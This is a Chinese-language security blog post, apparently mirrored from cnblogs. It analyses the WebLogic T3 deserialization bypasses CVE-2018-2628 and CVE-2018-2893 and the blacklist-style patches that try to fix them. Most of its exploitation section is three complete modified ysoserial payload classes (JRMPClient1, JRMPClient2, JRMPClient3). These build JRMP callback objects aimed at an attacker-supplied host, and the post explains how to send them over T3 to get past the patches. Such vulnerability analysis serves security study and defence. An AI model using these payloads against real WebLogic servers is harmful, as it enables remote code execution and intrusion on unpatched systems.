zoukankan      html  css  js  c++  java
  • Java 安全之Weblogic 2018-2628&2018-2893分析

    Java 安全之Weblogic 2018-2628&2018-2893分析

    0x00 前言

    续上一个weblogic T3协议的反序列化漏洞接着分析该补丁的绕过方式,根据weblogic的补丁还是挺难找的,后面的分析中没有补丁看不到weblogic修复的细节,但是也不难猜处weblogic的这些修复都是老做法,使用黑名单的方式去进行修补漏洞。

    0x01 补丁分析

    由于没拿到补丁,这里从廖师傅文章里面扣除补丁的细节。

    protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
       String[] arr$ = interfaces;
       int len$ = interfaces.length;
       for(int i$ = 0; i$ < len$; ++i$) {
          String intf = arr$[i$];
          if(intf.equals("java.rmi.registry.Registry")) {
             throw new InvalidObjectException("Unauthorized proxy deserialization");
          }
       }
       return super.resolveProxyClass(interfaces);
    }
    

    weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream类的地方添加了一个resolveProxyClass方法,将resolveProxyClass给重写了,添加了一个传递过来的数据对应的接口进行遍历验证,如果为java.rmi.registry.Registry的话就直接抛出异常。如果不为java.rmi.registry.Registry就调用父类的resolveProxyClass

    0x02 绕过思路

    在2018-2628的绕过方式其实有两种,分别是:

    1. 在补丁里面仅仅只是限制了需要反序列化的数据为使用java.rmi.registry.Registry以外的类的接口,但是其实远程对象的接口不止java.rmi.registry.Registry这么一个。

    廖师傅这里提供的绕过方式是将该接口替换成java.rmi.activation.Activator。即可绕过。

    1. ysoserial修改把Proxy部分去除掉,即可绕过补丁。这里来思考一下为什么Proxy部分去除就可以绕过了呢?

    在前面的原生readobject分析文章里面讲到过readobject里面会走两个分支,反序列化的是动态代理的对象的话就会走resolveProxyClass分支里面,这里去除了Proxy部分内容,也就是说不使用动态代理的方式生成payload进行反序列化自然不会走到resolveProxyClass分支里面去。

    0x03 利用思路

    后面的调试内容,其实和前面的都是一样的,这里直接讲讲利用。

    改写ysoserial

    利用思路一,不使用代理对象:

    package ysoserial.payloads;
    
    
    import sun.rmi.server.UnicastRef;
    import sun.rmi.transport.LiveRef;
    import sun.rmi.transport.tcp.TCPEndpoint;
    import ysoserial.payloads.annotation.Authors;
    import ysoserial.payloads.annotation.PayloadTest;
    import ysoserial.payloads.util.PayloadRunner;
    
    import java.rmi.registry.Registry;
    import java.rmi.server.ObjID;
    import java.util.Random;
    
    
    
    public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> {
    
        public Object getObject(final String command) throws Exception {
    
            String host;
            int port;
            int sep = command.indexOf(':');
            if (sep < 0) {
                port = new Random().nextInt(65535);
                host = command;
            } else {
                host = command.substring(0, sep);
                port = Integer.valueOf(command.substring(sep + 1));
            }
            ObjID id = new ObjID(new Random().nextInt()); // RMI registry
            TCPEndpoint te = new TCPEndpoint(host, port);
            UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
            return ref;
        }
    
    
        public static void main ( final String[] args ) throws Exception {
            Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
            PayloadRunner.run(JRMPClient1.class, args);
        }
    }
    
    

    对JRMPClient做一个小小的改动。

    利用方式二,修改实现的远程接口为java.rmi.activation.Activator

    package ysoserial.payloads;
    
    
    import sun.rmi.server.UnicastRef;
    import sun.rmi.transport.LiveRef;
    import sun.rmi.transport.tcp.TCPEndpoint;
    import ysoserial.payloads.annotation.Authors;
    import ysoserial.payloads.annotation.PayloadTest;
    import ysoserial.payloads.util.PayloadRunner;
    
    import java.lang.reflect.Proxy;
    import java.rmi.activation.Activator;
    import java.rmi.registry.Registry;
    import java.rmi.server.ObjID;
    import java.rmi.server.RemoteObjectInvocationHandler;
    import java.util.Random;
    
    
    @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
    @Authors({ Authors.MBECHLER })
    public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
    
        public Activator getObject (final String command ) throws Exception {
    
            String host;
            int port;
            int sep = command.indexOf(':');
            if ( sep < 0 ) {
                port = new Random().nextInt(65535);
                host = command;
            }
            else {
                host = command.substring(0, sep);
                port = Integer.valueOf(command.substring(sep + 1));
            }
            ObjID id = new ObjID(new Random().nextInt()); // RMI registry
            TCPEndpoint te = new TCPEndpoint(host, port);
            UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
            RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
            Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
                Activator.class
            }, obj);
            return proxy;
        }
    
    
        public static void main ( final String[] args ) throws Exception {
            Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
            PayloadRunner.run(JRMPClient2.class, args);
        }
    }
    
    

    0x04 CVE-2018-2893

    CVE-2018-2893是CVE2018-2628的绕过,先来查看一下CVE-2018-2628的补丁细节

    private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
    

    改写ysoserial

    这里利用方式是将远程的gadget对象封装进streamMessageImpl类里面,和CVE-2016-0638一样,不过这里用的是JRMPClient的gadget。

    在改写的时候需要,注意几个细节。JDK里面没有streamMessageImpl类,这里需要讲weblogic的一些依赖jar包和类的代码给复制过来。这里是讲weblogic_cmd里面的部分内容扣出来放到了yso里面。

    package ysoserial.payloads;
    
    
    import sun.rmi.server.UnicastRef;
    import sun.rmi.transport.LiveRef;
    import sun.rmi.transport.tcp.TCPEndpoint;
    import weblogic.jms.common.StreamMessageImpl;
    import ysoserial.Serializer;
    import ysoserial.payloads.annotation.Authors;
    import ysoserial.payloads.annotation.PayloadTest;
    import ysoserial.payloads.util.PayloadRunner;
    
    import java.lang.reflect.Proxy;
    import java.rmi.registry.Registry;
    import java.rmi.server.ObjID;
    import java.rmi.server.RemoteObjectInvocationHandler;
    import java.util.Random;
    
    
    @SuppressWarnings ( {
        "restriction"
    } )
    @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
    @Authors({ Authors.MBECHLER })
    public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {
    
        public Object streamMessageImpl(byte[] object) {
            StreamMessageImpl streamMessage = new StreamMessageImpl();
            streamMessage.setDataBuffer(object, object.length);
            return streamMessage;
        }
    
        public Object getObject (final String command ) throws Exception {
            String host;
            int port;
            int sep = command.indexOf(':');
            if (sep < 0) {
                port = new Random().nextInt(65535);
                host = command;
            }
            else {
                host = command.substring(0, sep);
                port = Integer.valueOf(command.substring(sep + 1));
            }
            ObjID objID = new ObjID(new Random().nextInt());
            TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
            UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
            RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
            Object object = Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
            return streamMessageImpl(Serializer.serialize(object));
        }
    
    
        public static void main ( final String[] args ) throws Exception {
            Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
            PayloadRunner.run(JRMPClient3.class, args);
        }
    }
    

    参考文章

    Weblogic JRMP反序列化及绕过分析

    weblogic之CVE-2017-3248,CVE-2018-2628,CVE-2018-2893,CVE-2018-3245反序列绕过分析

    0x05 末尾的絮絮叨叨

    其实知道绕过方式和利用方式后,从yso进行一个修改打包成jar包,使用到上次2017-3248的时候用到的exp修改参数,通过T3协议发送payload过去就可以实现绕过了。和前面的内容都是一样的都是同一个漏洞,所以在这里不做多的赘述。

    WX:TG9yaTI1NDgyNjYxNDU= 欢迎各位师傅来一起做技术交流
  • 相关阅读:
    0513装饰器
    python05-09
    python第四讲
    第四讲作业
    Python第二天
    课后实践之嵌入式基础20155314
    20155314 《信息安全系统设计基础》课程总结
    2017-2018-1 20155314 《信息安全系统设计基础》第14周学习总结
    2017-2018-1 20155314《信息安全系统设计基础》实验五 通讯协议设计
    2017-2018-1 20155314 《信息安全系统设计基础》第13周学习总结
  • 原文地址:https://www.cnblogs.com/nice0e3/p/14296052.html
Copyright © 2011-2022 走看看